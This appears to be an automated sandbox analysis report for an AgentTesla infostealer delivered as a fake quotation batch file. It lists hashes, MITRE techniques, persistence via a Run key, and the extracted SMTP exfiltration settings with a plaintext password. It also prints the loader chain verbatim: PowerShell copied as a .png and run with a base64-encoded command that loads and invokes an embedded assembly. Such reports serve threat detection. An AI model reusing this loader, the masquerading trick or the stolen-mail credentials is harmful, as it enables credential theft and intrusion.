agenttesla | d0efe415b7966e7ef93071dbc3984cc8911cb9dbe1427dfad480a2cb4b4044ec

General

Target

REMBE Quotation 22001625_REV001.bat
Size

1014KB
MD5

016848cfcf08f2c749ac2b48a0641415
SHA1

edcc4626a3f0929f41076ce309e6790281354921
SHA256

d0efe415b7966e7ef93071dbc3984cc8911cb9dbe1427dfad480a2cb4b4044ec
SHA512

d97b6f1e2ed9ad7ed3477655df88921a90a7658bd686daae1ef83cda818d6efbb6d103bb28e5ff9708e0492e6ca3589449d16652e88fc2445c9159e6356ae099
SSDEEP

24576:u+vAwBHSQSaGYvYQDXUAkZXCTsZyNPdOSK1WGfxsrHz:u16yXxQrUAenkOSK11+rHz

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.asiaparadisehotel.com
Port:
587
Username:
[email protected]
Password:
^b2ycDldex$@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Executes dropped EXE 1 IoCs

pid	Process
3676	Hvanj.png

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TlKsFB = "C:\\Users\\Admin\\AppData\\Roaming\\TlKsFB\\TlKsFB.exe"	Hvanj.png

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
54	api.ipify.org
55	api.ipify.org

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3324	3676	WerFault.exe	100

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3676	Hvanj.png
3676	Hvanj.png
3676	Hvanj.png
3676	Hvanj.png
3676	Hvanj.png

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3676	Hvanj.png
Token: SeDebugPrivilege	3676	Hvanj.png

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3756 wrote to memory of 4424	3756	cmd.exe	91
PID 3756 wrote to memory of 4424	3756	cmd.exe	91
PID 3756 wrote to memory of 2448	3756	cmd.exe	92
PID 3756 wrote to memory of 2448	3756	cmd.exe	92
PID 3756 wrote to memory of 3528	3756	cmd.exe	94
PID 3756 wrote to memory of 3528	3756	cmd.exe	94
PID 3528 wrote to memory of 2472	3528	cmd.exe	96
PID 3528 wrote to memory of 2472	3528	cmd.exe	96
PID 3528 wrote to memory of 1160	3528	cmd.exe	97
PID 3528 wrote to memory of 1160	3528	cmd.exe	97
PID 3528 wrote to memory of 4952	3528	cmd.exe	98
PID 3528 wrote to memory of 4952	3528	cmd.exe	98
PID 3528 wrote to memory of 540	3528	cmd.exe	99
PID 3528 wrote to memory of 540	3528	cmd.exe	99
PID 3528 wrote to memory of 3676	3528	cmd.exe	100
PID 3528 wrote to memory of 3676	3528	cmd.exe	100
PID 3528 wrote to memory of 3676	3528	cmd.exe	100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\REMBE Quotation 22001625_REV001.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:4424
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Hvanj.png
  2⤵
  PID:2448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\REMBE Quotation 22001625_REV001.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2472
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Hvanj.png
    3⤵
    PID:1160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:4952
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\REMBE Quotation 22001625_REV001.bat" C:\Users\Admin\AppData\Local\Temp\Hvanj.png.bat
    3⤵
    PID:540
- - C:\Users\Admin\AppData\Local\Temp\Hvanj.png
    C:\Users\Admin\AppData\Local\Temp\Hvanj.png -win 1 -enc JABUAGIAcwBsAHIAaQB1AHYAZABoACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AYgBhAHQAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEIAZABuAHcAZQB3AGkAZQB2AG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVABiAHMAbAByAGkAdQB2AGQAaAApADsAJABRAHoAegBnAHQAZwB4AGEAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAQgBkAG4AdwBlAHcAaQBlAHYAbgAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABRAGMAbwB4AHQAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABRAHoAegBnAHQAZwB4AGEAYwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUQBjAG8AeAB0AG8ALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAFEAYwBvAHgAdABvAC4AQwBsAG8AcwBlACgAKQA7ACQAUQB6AHoAZwB0AGcAeABhAGMALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABCAGQAbgB3AGUAdwBpAGUAdgBuACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEIAZABuAHcAZQB3AGkAZQB2AG4AKQA7ACAAJABPAGYAbQBmAGUAZwBtAG4AawAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABCAGQAbgB3AGUAdwBpAGUAdgBuACkAOwAgACQAVwBjAG4AbQBoAGUAbgBpAGgAawBqACAAPQAgACQATwBmAG0AZgBlAGcAbQBuAGsALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABDAGgAaQBiAHoAaQB4ACAAPQAgACQAVwBjAG4AbQBoAGUAbgBpAGgAawBqAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3676
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3676 -s 3180
      4⤵
      Program crash
      PID:3324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3676 -ip 3676
1⤵
PID:5008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Hvanj.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Hvanj.png.bat

Filesize
1014KB

MD5
016848cfcf08f2c749ac2b48a0641415

SHA1
edcc4626a3f0929f41076ce309e6790281354921

SHA256
d0efe415b7966e7ef93071dbc3984cc8911cb9dbe1427dfad480a2cb4b4044ec

SHA512
d97b6f1e2ed9ad7ed3477655df88921a90a7658bd686daae1ef83cda818d6efbb6d103bb28e5ff9708e0492e6ca3589449d16652e88fc2445c9159e6356ae099

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5tv2w41f.fr2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3676-29-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3676-31-0x0000000006B70000-0x0000000006B8A000-memory.dmp

Filesize
104KB

Download
memory/3676-12-0x0000000005750000-0x0000000005D78000-memory.dmp

Filesize
6.2MB

Download
memory/3676-10-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3676-18-0x0000000005DB0000-0x0000000005DD2000-memory.dmp

Filesize
136KB

Download
memory/3676-20-0x0000000006050000-0x00000000060B6000-memory.dmp

Filesize
408KB

Download
memory/3676-24-0x0000000006130000-0x0000000006196000-memory.dmp

Filesize
408KB

Download
memory/3676-25-0x0000000006210000-0x0000000006564000-memory.dmp

Filesize
3.3MB

Download
memory/3676-26-0x0000000006640000-0x000000000665E000-memory.dmp

Filesize
120KB

Download
memory/3676-27-0x0000000006690000-0x00000000066DC000-memory.dmp

Filesize
304KB

Download
memory/3676-8-0x0000000005070000-0x00000000050A6000-memory.dmp

Filesize
216KB

Download
memory/3676-9-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/3676-30-0x0000000007F90000-0x000000000860A000-memory.dmp

Filesize
6.5MB

Download
memory/3676-11-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3676-32-0x0000000007820000-0x00000000078EA000-memory.dmp

Filesize
808KB

Download
memory/3676-33-0x0000000007910000-0x000000000798A000-memory.dmp

Filesize
488KB

Download
memory/3676-34-0x0000000007A90000-0x0000000007AF6000-memory.dmp

Filesize
408KB

Download
memory/3676-36-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/3676-37-0x0000000007AF0000-0x0000000007B35000-memory.dmp

Filesize
276KB

Download
memory/3676-38-0x0000000007BF0000-0x0000000007C32000-memory.dmp

Filesize
264KB

Download
memory/3676-39-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3676-40-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3676-41-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3676-42-0x0000000008BC0000-0x0000000009164000-memory.dmp

Filesize
5.6MB

Download
memory/3676-44-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3676-45-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads